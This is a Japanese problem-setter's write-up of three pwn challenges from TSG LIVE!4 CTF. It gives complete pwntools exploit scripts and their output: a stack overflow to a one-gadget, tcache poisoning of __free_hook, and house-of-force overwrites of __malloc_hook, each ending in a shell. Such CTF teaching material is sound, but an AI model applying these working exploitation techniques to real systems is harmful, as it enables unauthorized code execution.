とある大学に TSG という団体があるらしいが、 その団体によってある秋の日に行われたTSG LIVE!4の3日目のイベントTSG LIVE!4 CTF。 そこの pwn 問題の解説をする。
問題バイナリ等は以下のリポジトリに全て置いてある:
IfYouWanna - pwn 100 点問題
静的解析
sec.sh1./IfYouWanna: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3278bdb1a0cf46a375c6eb17453bf726c3dd733d, not stripped
2Arch: amd64-64-little
3RELRO: Partial RELRO
4Stack: No canary found
5NX: NX disabled
6PIE: No PIE (0x400000)
7RWX: Has RWX segments
問題概要
以前までの TSGLIVE CTF では作問側が張り切りすぎて 時間内に 1,2 問しか解かれないという現象が発生していた。 それだと見てる側も(作問側も)冷えてしまうので、 pwn 分野には5分位で解ける 0 点回避問題を入れようと思い、この問題を詰め込んだ。
まず最初にauth()
にてパスワードの入力が求められる。
パスワードのもととなるデータはバイナリ中に埋め込んである:
1char pw[] = {0x6f,0x1e,0x6a,0x9,0x24,0x41,0x30,0x41,0x2c,0x47,0x20,0xd,0x7d,0x1e,0x6e,0x43,0x35,0x3,0x76,0x1c,0x77,0x5a,0x2f,0x56,0x35,0x6,0x35,0x44,0x3d,0x2};
1文字目はpw[0]-2
そのまま。
n 文字目はpw[n-1]
とpw[n]
の xor から 2 を引けば出てくる。
pwn/rev のパスワード系の問題は angr に投げれば一発というものも多々あり、
これも angr に投げれば(時間こそかかるものの)解くことができる。
だが、正直これくらいなら angr に解析させるよりも自分でバイナリを読んでスクリプトを書いたほうが多分早い。
これによって最後の3文字を除いたパスワードが出てくる:
.c1mora+cookie+nan+t4shi+swa11ow=
あとはこれらの文字の ASCII コードを足してやると0xACE
という値が出てきて、最終的なパスワードは:
1mora+cookie+nan+t4shi+swa11ow=ACE
TSG が誇る凄腕 CTFer たちが ACE であるという旨のパスワードになっている。
だが先程述べたように
この問題が 0 点回避用であることと、
pwn と銘打っているのに若干の rev 要素があるため、
正直このauth()
はいらなかったかもと反省しております。。。
それさえ突破すればあとは libc_base が与えられており、 BoF できるためそれこそ秒で終わる問題でした。
それから 僕がややこしいポート番号にしてしまったからか、 途中までポート指定の表示が間違っていたのは大変申し訳無い。。。
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "../problem/IfYouWanna"
8
9rhp1 = {'host':"localhost",'port':20002}
10rhp2 = {'host':"3.112.113.4",'port':20002}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14onegadgets = [0x4f2c5,0x4f322,0x10a38c]
15
16def exploit(conn):
17 conn.recvuntil("password > ")
18 conn.sendline("mora+cookie+nan+t4shi+swa11ow=ACE")
19 conn.recvuntil(": ")
20 libc_base = int(conn.recvline()[:-1],16)
21 print("[+]libc_base: "+hex(libc_base))
22 conn.recvuntil("> ")
23
24 inp = "y"
25 inp += "A"*(0xa8-len(inp))
26 inp += p64(onegadgets[1]+libc_base)
27 conn.sendline(inp)
28
29
30if len(sys.argv)>1:
31 if sys.argv[1][0]=="d":
32 cmd = """
33 set follow-fork-mode parent
34 """
35 conn = gdb.debug(FILENAME,cmd)
36 elif sys.argv[1][0]=="r":
37 conn = remote(rhp1["host"],rhp1["port"])
38else:
39 conn = remote(rhp2['host'],rhp2['port'])
40exploit(conn)
41conn.interactive()
1[+]libc_base: 0x7f52e086d000
2[*] Switching to interactive mode
3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"�R$cat /home/user/flag
4TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!}
5$
ShyEEICtan - pwn 200 点問題
静的解析
sec.sh1./ShyEEICtan: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d8d3a96fd55ed07a8c3906317cd3bc8831d65ffa, not stripped
2Arch: amd64-64-little
3RELRO: Full RELRO
4Stack: Canary found
5NX: NX enabled
6PIE: PIE enabled
問題概要
ある大学の EEIC という学部の Slack には EEIC たんという課題の締め切りお知らせなどをしてくれる bot があり、 それを題材にした問題。
ヒープ周りを割と好き勝手できます。
最初に tcache を消費してもう一度 free するとmain_arena+96
がヒープに現れるので、
EEIC たんに予定を表示させてその 8byte をリークします。
EEIC たんは今回凄くシャイになってしまい、最初の 8byte 分しか教えてくれませんがそれで十分です。
あとは tcache のfd
を書き換えてfree_hook
overwrite すれば終わりですが、
その状態で onegadegt に飛ぶと stack の align の都合上MOVAPS
で怒られるので、
call [rdi]
してくれる gadget をfree_hook
に書いて、
free
の引数として onegadget RCE を入れるという一手間が必要になります
(まぁこの部分の bypass 方法は十人十色でしょうが。。。)。
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "../problem/ShyEEICtan"
8
9rhp1 = {"host":"localhost","port":20000}
10rhp2 = {'host':"3.112.113.4",'port':20000}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14off_arena96_libc = 0x3ebca0
15off_free_hook = 0x3ed8e8
16off_malloc_hook = 0x3ebc30
17onegadgets = [0x4f2c5,0x4f322,0x10a38c]
18callrdi_gad = 0x1d45f1
19
20def _add(conn,data):
21 conn.recvuntil("> ")
22 conn.sendline("1")
23 conn.recvuntil(">")
24 conn.send(data)
25
26def _remove(conn,ix):
27 conn.recvuntil("> ")
28 conn.sendline("2")
29 conn.recvuntil("> ")
30 conn.sendline(str(ix))
31
32def _list(conn):
33 conn.recvuntil("> ")
34 conn.sendline("3")
35
36def _exit(conn):
37 conn.recvuntil("> ")
38 conn.sendline("0")
39
40def _edit(conn,ix,data):
41 conn.recvuntil("> ")
42 conn.sendline("4")
43 conn.recvuntil("> ")
44 conn.sendline(str(ix))
45 conn.recvuntil(">")
46 conn.send(data)
47
48
49def exploit(conn):
50 #consume tcache
51 for i in range(8):
52 _add(conn,"A"*0x10)
53 for i in range(1,8):
54 _remove(conn,i)
55 _remove(conn,0) #generate main_arena+96 on heap
56 _list(conn) #leak main_arena+96
57
58 #calc some addrs
59 conn.recvuntil("is:\n")
60 mainarena96 = unpack(conn.recvuntil(" ...")[:-4])
61 print("[+]mainarena96: "+hex(mainarena96))
62 libc_base = mainarena96-off_arena96_libc
63 print("[+]libc_base: "+hex(libc_base))
64 malloc_hook = libc_base + off_malloc_hook
65 free_hook = libc_base + off_free_hook
66 print("[+]__malloc_hook: "+hex(malloc_hook))
67 onegadget0 = libc_base + onegadgets[0]
68 print("[+]onegadget0: "+hex(onegadget0))
69
70 #make tcache point to __free_hook and overwrite it with call[rdi]-gadgets,
71 #because just calling onegadget is interrupted with MOVAPS!
72 #So, just do easy ROP with the argment of free()
73 _edit(conn,7,p64(free_hook))
74 _add(conn,"C"*0x10)
75 _add(conn,p64(libc_base + callrdi_gad)) #gad: call qword [rdi]
76 _edit(conn,5,p64(onegadget0))
77 conn.recvuntil("> ")
78 conn.sendline("2")
79
80 #invoke gadgets and get the shell!
81 conn.recvuntil("> ")
82 conn.sendline("5")
83 sleep(1)
84 conn.sendline("ls")
85 sleep(1)
86 conn.sendline("./flag")
87
88
89
90if len(sys.argv)>1:
91 if sys.argv[1][0]=="d":
92 cmd = """
93 set follow-fork-mode parent
94 """
95 conn = gdb.debug(FILENAME,cmd)
96 elif sys.argv[1][0]=="r":
97 conn = remote(rhp1["host"],rhp1["port"])
98else:
99 conn = remote(rhp2['host'],rhp2['port'])
100exploit(conn)
101conn.interactive()
1[+]mainarena96: 0x7f1e81d13ca0
2[+]libc_base: 0x7f1e81928000
3[+]__malloc_hook: 0x7f1e81d13c30
4[+]onegadget0: 0x7f1e819772c5
5[*] Switching to interactive mode
6$ cat /home/user/flag
7TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!}
EEIC はとてもとてもホワイトな学科だとのたまっております。
KillKirby4Free - pwn 300 点問題
静的解析
sec.sh1./kill_kirby: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ed10fd6540e039b9111f7bf54e76831e4c0db4a2, not stripped
2Arch: amd64-64-little
3RELRO: Full RELRO
4Stack: Canary found
5NX: NX enabled
6PIE: No PIE (0x400000)
問題概要
この問題を一番最初に考えました。
問題自体はそんなに難しいテクニック自体は使っていないのですが 75 分というめちゃめちゃ短い時間も考慮すると 300 点かなぁということです。 想定としては pwn を得意分野とするプレイヤが他の人と分業してこの問題に集中して全時間の 2/3 を使えば解けるかなぁと言う感じで設定しました。
結果、多分誰にも手つけられてないのかな。。。 時間あれば放送中に使うかなぁと思っていたスライド を貼っておくので解説はそちらで:
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4###########################################
5# I checked if whether this exploit works
6# on Linux 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
7###########################################
8
9
10
11from pwn import *
12import sys
13
14FILENAME = "../problem/kill_kirby"
15
16rhp1 = {"host":"0.0.0.0","port":30001}
17rhp2 = {'host':"3.112.113.4",'port':30001}
18context(os='linux',arch='amd64')
19binf = ELF(FILENAME)
20
21total_walk = 0
22off_libc_arena = 0x3ebc40
23off_free_hook = 0x3ed8e8
24off_malloc_hook = 0x3ebc30
25kirby_is_free = 0x602058
26
27#constraints:
28#0:rcx==NULL 1:[rsp+0x40]==NULL 2:[rsp+0x70]==NULL
29onegadgets = [0x4f2c5,0x4f322,0x10a38c]
30push_gad = 0x000a3f3f
31
32def normal(conn,name,kill=False):
33 global total_walk
34 total_walk += 1
35 conn.recvuntil("> ")
36 conn.sendline("1")
37 conn.recvuntil("> ")
38
39 if total_walk%6==0 or total_walk%0xa==0:
40 conn.sendline("2")
41 normal(conn,name,kill)
42 return
43
44 if kill==True:
45 conn.sendline("2")
46 return
47 conn.sendline("1")
48 conn.recvuntil("> ")
49 conn.send(name)
50
51def big(conn,name,size):
52 global total_walk
53 while True:
54 if (total_walk+1)%0xa!=0:
55 normal(conn,"A",True)
56 else:
57 break
58 total_walk+=1
59
60 conn.recvuntil("> ")
61 conn.sendline("1")
62 conn.recvuntil("> ")
63 conn.sendline("1")
64 conn.recvuntil("> ")
65 conn.sendline(str(size))
66 conn.recvuntil("> ")
67 conn.send(name)
68
69def small(conn,name):
70 global total_walk
71 while True:
72 if (total_walk+1)%0x6!=0:
73 normal(conn,"A",True)
74 else:
75 break
76 total_walk+=1
77
78 conn.recvuntil("> ")
79 conn.sendline("1")
80 conn.recvuntil("> ")
81 conn.sendline("1")
82 conn.recvuntil("> ")
83 conn.send(name)
84
85def rename(conn,ix,name):
86 conn.recvuntil("> ")
87 conn.sendline("4")
88 conn.recvuntil("> ")
89 conn.sendline(str(ix))
90 conn.recvuntil("> ")
91 conn.send(name)
92
93def showlist(conn):
94 conn.recvuntil("> ")
95 conn.sendline("2")
96
97def delete(conn,ix):
98 conn.recvuntil("> ")
99 conn.sendline("3")
100 conn.recvuntil("> ")
101 conn.sendline(str(ix))
102
103
104def exploit(conn):
105 global total_walk
106 global kirby_is_free
107
108 #leak heap addr
109 small(conn,"A"*8)#1
110 normal(conn,"B"*8)#2
111 rename(conn,1,"A"*0x50) #overwrite next size as side-effect
112 showlist(conn)
113 conn.recvuntil("A"*0x50)
114 heap_addr = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))
115 print("heap_addr: "+hex(heap_addr))
116
117 #prepare for leak of &main_arena+96
118 small(conn,"C"*8)#3 #used to adjuscent name chunk with name chunk
119
120 #house of force and make chunk around stdout
121 small(conn,"D"*0x48+p64(0xffffffffffffffff))#4
122 top = heap_addr+0x200+0x31 #top addr after malloc of kirby structure
123 print("top: "+hex(top))
124 print("req malloc size(usr): "+hex(0xffffffffffffffff+kirby_is_free-top-0x30))
125 print("intended addr: "+hex(0xffffffffffffffff+kirby_is_free-top-0x30+top)+"\n")
126 big(conn,"X",kirby_is_free-top-0x30)#5 #house of force(@stdint+0x8==sz)
127 normal(conn,"A"*0x10)#6 #overwrite kirby_is_free(total_walk woudn't change)
128
129
130
131 #back to valid heap area with house of force again
132 small(conn,"D"*0x48+p64(0xffffffffff00001))#7
133 top = 0x602140 + 0x30 #top addr after malloc of kirby structure
134 print("top: "+hex(top))
135 target_heap = heap_addr + 0x280
136 print("target_heap: "+hex(target_heap))
137 #big(conn,p8(0),top - target_heap + 0x20) #made mistake and waste 4days!!!!!!
138 big(conn,"E"*8,target_heap - top + 0x20) #8
139
140 #leak libc base
141 normal(conn,"F"*8)#9
142 small(conn,"G"*8)#10->9
143 delete(conn,9)
144 big(conn,"H"*8,0x450)#10 #this kirby's name chunk is next to name chunk of small kirby!!
145 small(conn,"I"*8)#11->10 #avoid malloc_consolidate() and third house of force later
146 delete(conn,10) #generate main_arena+96 in heap
147
148 rename(conn,9,"K"*0x48+p64(0xffffffffffffffff)) #padding
149 showlist(conn)
150 conn.recvuntil("K"*0x48)
151 conn.recv(8)
152 main_arena = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))-96
153 print("[+]main_arena: "+hex(main_arena))
154 libc_base = main_arena - off_libc_arena
155 print("[+]libc_base: "+hex(libc_base))
156 onegadget1 = onegadgets[1]+libc_base
157 onegadget0 = onegadgets[0]+libc_base
158 onegadget2 = onegadgets[2]+libc_base
159 print("[+]onegadget1: "+hex(onegadget1))
160 free_hook = off_free_hook + libc_base
161 malloc_hook = off_malloc_hook + libc_base
162 print("[+]free_hook: "+hex(free_hook))
163 print("[+]malloc_hook: "+hex(malloc_hook)+"\n")
164
165 rename(conn,9,"K"*0x48+p64(0x461)) #rewrite unsorted chunk's size into valid
166
167 #consume unsorted chunk(sz==3e1)
168 for i in range(0x3e1/(0x30+0x60) + 2):
169 normal(conn,"+"*8)
170
171 #overwrite malloc_hook with house of force
172 rename(conn,10,"L"*0x48+p64(0xffffffffffffff01)) #overwrite top's size
173 top = heap_addr + 0x8a0 #+ 0x30 #this time, kirby structure is pick up from remained unsorted
174 print("top: "+hex(top))
175 print("malloc req size(usr): "+hex(0xffffffffffffffff+free_hook-top-0x20))
176 big(conn,"M"*8,malloc_hook - top - 0x20) #now top is on __malloc_hook
177
178 #(now, the remain of unsorted(small) chunk is 0x40,
179 # therefore, smallkirby chunk is pick up from small bin,
180 # and name chunk is the very on malloc_hook!!!)
181 small(conn,p64(onegadget2))
182
183 #get the shell!
184 conn.recvuntil("> ")
185 conn.sendline("1")
186 conn.recvuntil("> ")
187 conn.sendline("1")
188 sleep(1)
189 conn.sendline("ls")
190 sleep(2)
191 conn.sendline("cat ./flag")
192
193
194
195if len(sys.argv)>1:
196 if sys.argv[1][0]=="d":
197 cmd = """
198 set follow-fork-mode parent
199 """
200 conn = gdb.debug(FILENAME,cmd)
201 elif sys.argv[1][0]=="r":
202 conn = remote(rhp1["host"],rhp1["port"])
203else:
204 conn = remote(rhp2['host'],rhp2['port'])
205exploit(conn)
206conn.interactive()
1heap_addr: 0xbfc2c0
2top: 0xbfc4f1
3req malloc size(usr): 0xffffffffffa05b36
4intended addr: 0x10000000000602027
5
6top: 0x602170
7target_heap: 0xbfc540
8[+]main_arena: 0x7fe2559dec40
9[+]libc_base: 0x7fe2555f3000
10[+]onegadget1: 0x7fe255642322
11[+]free_hook: 0x7fe2559e08e8
12[+]malloc_hook: 0x7fe2559dec30
13
14top: 0xbfcb60
15malloc req size(usr): 0x100007fe254de3d67
16[*] Switching to interactive mode
17You inhaled kirby!
18$
19$ cat /home/user/flag
20TSGCTF{Kirby_is_the_symbol_of_PEACE!}
アウトロ
zer0pts の皆さんありがとうございます。。。
ちゃんと点数取れるってことの証明をしていただけてありがたいです。。。